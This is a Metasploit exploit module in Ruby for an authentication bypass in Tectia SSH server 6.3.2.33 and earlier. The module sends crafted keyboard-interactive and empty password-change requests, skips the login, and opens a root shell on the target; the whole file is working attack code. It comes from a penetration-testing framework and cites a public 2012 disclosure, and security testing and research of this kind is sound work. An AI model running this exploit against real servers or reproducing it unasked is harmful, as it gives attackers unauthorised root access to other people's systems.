##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability in Tectia SSH server for Unix-based
    platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
    before password authentication, allowing any remote user to bypass the login
    routine, and then gain access as root.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'kingcope',  #Original 0day
     'bperry',
     'sinn3r'
    ],
   'References'     =>
    [
     ['EDB', '23082'],
     ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
    ],
   'Payload'        =>
    {
     'Compat' =>
     {
      'PayloadType'    => 'cmd_interact',
      'ConnectionType' => 'find'
     }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
    ],
   'Privileged'     => true,
   'DisclosureDate' => "Dec 01 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(22),
    OptString.new('USERNAME', [true, 'The username to login as', 'root'])
   ], self.class
  )

  register_advanced_options(
   [
    OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
   ]
  )
 end

 def check
  connect
  banner = sock.get_once
  print_status("#{rhost}:#{rport} - #{banner}")
  disconnect

  return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
  return Exploit::CheckCode::Safe
 end

 def rhost
  datastore['RHOST']
 end

 def rport
  datastore['RPORT']
 end

 #
 # This is where the login begins.  We're expected to use the keyboard-interactive method to
 # authenticate, but really all we want is skipping it so we can move on to the password
 # method authentication.
 #
 def auth_keyboard_interactive(user, transport)
  print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
  auth_req_pkt = Net::SSH::Buffer.from(
   :byte, 0x32,                     #userauth request
   :string, user,                   #username
   :string, "ssh-connection",       #service
   :string, "keyboard-interactive", #method name
   :string, "",                     #lang
   :string, ""
  )

  user_auth_pkt = Net::SSH::Buffer.from(
   :byte, 0x3D,                     #userauth info
   :raw, 0x01,                      #number of prompts
   :string, "",                     #password
   :raw, "\0"*32                    #padding
  )

  transport.send_message(auth_req_pkt)
  message = transport.next_message
  vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")

  message = transport.next_message
  vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

  # USERAUTH INFO
  transport.send_message(user_auth_pkt)
  message = transport.next_message
  vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

  2.times do |i|
   #USRAUTH REQ
   transport.send_message(auth_req_pkt)
   message = transport.next_message
   vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

   # USERAUTH INFO
   transport.send_message(user_auth_pkt)
   message = transport.next_message
   vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
  end
 end

 #
 # The following link is useful to understand how to craft the USERAUTH password change
 # request packet:
 # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
 #
 def userauth_passwd_change(user, transport, connection)
  print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
  pkt = Net::SSH::Buffer.from(
   :byte, 0x32,               #userauth request
   :string, user,             #username
   :string, "ssh-connection", #service
   :string, "password"        #method name
  )
  pkt.write_bool(true)
  pkt.write_string("")           #Old pass
  pkt.write_string("")           #New pass

  transport.send_message(pkt)
  message = transport.next_message.type
  vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

  if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
   transport.send_message(transport.service_request("ssh-userauth"))
   message = transport.next_message.type

   if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
    shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
    connection = nil
    return shell
   end
  end
 end

 def do_login(user)
  opts       = {:user=>user, :record_auth_info=>true}
  options    = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
  transport  = Net::SSH::Transport::Session.new(rhost, options)
  connection = Net::SSH::Connection::Session.new(transport, options)
  auth_keyboard_interactive(user, transport)
  userauth_passwd_change(user, transport, connection)
 end

 def exploit
  # Our keyboard-interactive is specific to Tectia.  This allows us to run quicker when we're
  # engaging a variety of SSHD targets on a network.
  if check != Exploit::CheckCode::Appears
   print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
   return
  end

  c = nil

  begin
   ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    c = do_login(datastore['USERNAME'])
   end
  rescue Rex::ConnectionError, Rex::AddressInUse
   return
  rescue Net::SSH::Disconnect, ::EOFError
   print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
   return
  rescue Net::SSH::Exception => e
   print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
   return
  rescue ::Timeout::Error
   print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
   return
  end

  handler(c.lsock) if c
 end
end